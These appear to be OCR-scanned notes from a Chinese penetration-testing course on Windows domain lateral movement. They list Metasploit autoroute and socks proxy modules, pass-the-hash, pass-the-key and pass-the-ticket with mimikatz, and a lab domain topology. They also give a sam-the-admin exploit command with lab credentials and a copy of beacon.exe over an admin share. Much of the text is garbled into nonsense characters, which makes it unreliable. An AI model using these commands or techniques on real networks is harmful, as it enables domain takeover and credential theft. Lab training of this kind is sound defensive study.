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3. BARNESNE

BloodHound

ARRE- MBS

bind_tcp

run autoroute -p

run post/multi/manage/autoroute
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use auxiliary/server/socks_proxy

EEE: {CEA-Socks{ElE
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smb, 1dap, ews)
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windows—->windows
windows—->Linux
linux->windows

linux->linux
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IPC, WMI, SMB, PTH, PTK, PTT, SPN, WinRM, WinRS, RDP,Plink, DCOM,
SSH; Exchange, LLMNR ##, NTLM-Relay,Kerberos TGS, GPO&DACL, IH#&#2
PO, AREIR, HHEELY;, RG] FAIMAT, EDR M T AT,

#PTH FEN B E = —MIRE BT, R 2 W # v L E#8#d LM Hash
MINTLM Hash VjRIZFEENEIRS, 1AL S0,

R T ntlm WWIE, PsExec TGIEFHIRIFH ntlm hash #HATEARER, HEMEH
mimikatz AT AKHIN. SFF 8.1/2012r2, LT kb2871997 i Win
7/2008r2/8/2012 %%, A LMEH AES keys fUE NT hash KL ptk Bdt,
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Windows 2012
X007 )
192.168.10.X(P3)
test.test.xiaodi.com

Windows 2016 321%DC
192.168.10.X(/F)
dcxiaodi.com

Windows 2016 F#&DC
192.168.10.X(AIR)
dc.test.xiaodi.com

Windows 2010 BOSS PC Windows 2012 Web
192.168.10.X(F3R4) 192.168.10.X(F3M)
boss.xiaodi.com web.xiaodi.com
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https://github.com/WazeHell/sam-the-admin
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1. BREZET

2. HETEENLIIR

3. IR H bRk

LG EE

python sam the admin.py test0/'xiaodi:admin!@#45' -dc-ip
192.168.10.20 -shell

copy \\xd\c$\beacon.exe
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https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

